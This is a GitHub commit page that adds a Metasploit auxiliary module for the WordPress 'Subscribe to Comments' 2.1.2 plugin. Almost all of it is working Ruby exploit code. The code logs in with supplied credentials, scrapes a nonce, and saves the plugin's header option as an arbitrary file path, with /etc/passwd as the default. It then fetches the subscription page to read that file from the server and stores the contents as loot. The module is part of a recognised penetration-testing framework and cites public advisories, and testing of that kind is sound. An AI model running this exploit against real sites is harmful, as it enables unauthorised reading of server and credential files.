Skip to content

Commit 29e92aa

Browse files
committed
Land rapid7#5806, WordPress Subscribe Comments File Read Vuln
2 parents e651f3f + 62e6b23 commit 29e92aa

File tree

1 file changed

+172
-0
lines changed

1 file changed

+172
-0
lines changed
Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::HTTP::Wordpress
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'WordPress Subscribe Comments File Read Vulnerability',
17+
'Description' => %q{
18+
This module exploits an authenticated directory traversal vulnerability
19+
in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing
20+
to read arbitrary files with the web server privileges.
21+
},
22+
'References' =>
23+
[
24+
['WPVDB', '8102'],
25+
['URL', 'http://packetstormsecurity.com/files/132694/'],
26+
['URL', 'https://security.dxw.com/advisories/admin-only-local-file-inclusion-and-arbitrary-code-execution-in-subscribe-to-comments-2-1-2/']
27+
],
28+
'Author' =>
29+
[
30+
'Tom Adams <security[at]dxw.com>', # Vulnerability Discovery
31+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
32+
],
33+
'License' => MSF_LICENSE
34+
))
35+
36+
register_options(
37+
[
38+
OptString.new('WP_USER', [true, 'A valid username', nil]),
39+
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
40+
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
41+
], self.class)
42+
end
43+
44+
def user
45+
datastore['WP_USER']
46+
end
47+
48+
def password
49+
datastore['WP_PASS']
50+
end
51+
52+
def check
53+
check_plugin_version_from_readme('subscribe-to-comments', '2.3')
54+
end
55+
56+
def get_nonce(cookie)
57+
res = send_request_cgi(
58+
'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'),
59+
'method' => 'GET',
60+
'vars_get' => {
61+
'page' => 'stc-options'
62+
},
63+
'cookie' => cookie
64+
)
65+
66+
if res && res.redirect? && res.redirection
67+
location = res.redirection
68+
print_status("#{peer} - Following redirect to #{location}")
69+
res = send_request_cgi(
70+
'uri' => location,
71+
'method' => 'GET',
72+
'cookie' => cookie
73+
)
74+
end
75+
76+
if res && res.body && res.body =~ /id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)" /
77+
return Regexp.last_match[1]
78+
end
79+
nil
80+
end
81+
82+
def down_file(cookie, nonce)
83+
filename = datastore['FILEPATH']
84+
filename = filename[1, filename.length] if filename =~ %r{/^///}
85+
86+
res = send_request_cgi(
87+
'method' => 'POST',
88+
'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'),
89+
'vars_get' => {
90+
'page' => 'stc-options'
91+
},
92+
'vars_post' => {
93+
'sg_subscribe_settings[name]' => '',
94+
'sg_subscribe_settings[email]' => '',
95+
'sg_subscribe_settings[clear_both]' => 'clear_both',
96+
'sg_subscribe_settings[not_subscribed_text]' => 'teste',
97+
'sg_subscribe_settings[subscribed_text]' => 'teste',
98+
'sg_subscribe_settings[author_text]' => '',
99+
'sg_subscribe_settings[use_custom_style]' => 'use_custom_style',
100+
'sg_subscribe_settings[header]' => "#{filename}",
101+
'sg_subscribe_settings[sidebar]' => '',
102+
'sg_subscribe_settings[footer]' => '',
103+
'sg_subscribe_settings[before_manager]' => '',
104+
'sg_subscribe_settings[after_manager]' => '',
105+
'sg_subscribe_settings_submit' => 'Update Options',
106+
'_wpnonce' => "#{nonce}",
107+
'_wp_http_referer' => '/wp-admin/options-general.php?page=stc-options'
108+
},
109+
'cookie' => cookie
110+
)
111+
112+
if res && res.code == 200 && res.body.include?("<p><strong>Options saved.</strong>")
113+
return res.body
114+
end
115+
nil
116+
end
117+
118+
def run_host(ip)
119+
vprint_status("#{peer} - Trying to login as: #{user}")
120+
cookie = wordpress_login(user, password)
121+
if cookie.nil?
122+
print_error("#{peer} - Unable to login as: #{user}")
123+
return
124+
end
125+
126+
vprint_status("#{peer} - Trying to get nonce...")
127+
nonce = get_nonce(cookie)
128+
if nonce.nil?
129+
print_error("#{peer} - Can not get nonce after login")
130+
return
131+
end
132+
vprint_status("#{peer} - Got nonce: #{nonce}")
133+
134+
vprint_status("#{peer} - Trying to download filepath.")
135+
file_path = down_file(cookie, nonce)
136+
if file_path.nil?
137+
print_error("#{peer} - Error downloading filepath.")
138+
return
139+
end
140+
141+
res = send_request_cgi(
142+
'method' => 'GET',
143+
'uri' => normalize_uri(target_uri.path),
144+
'vars_get' => {
145+
'wp-subscription-manager' => '1'
146+
},
147+
'cookie' => cookie
148+
)
149+
150+
if res && res.code == 200 &&
151+
res.body.length > 830 &&
152+
res.body.include?(">Find Subscriptions</") &&
153+
res.headers['Content-Length'].to_i > 830
154+
155+
res_clean = res.body.gsub(/\t/, '').gsub(/\r\n/, '').gsub(/<.*$/, "")
156+
157+
vprint_line("\n#{res_clean}")
158+
fname = datastore['FILEPATH']
159+
path = store_loot(
160+
'subscribecomments.traversal',
161+
'text/plain',
162+
ip,
163+
res_clean,
164+
fname
165+
)
166+
167+
print_good("#{peer} - File saved in: #{path}")
168+
else
169+
print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.")
170+
end
171+
end
172+
end

0 commit comments

Comments
 (0)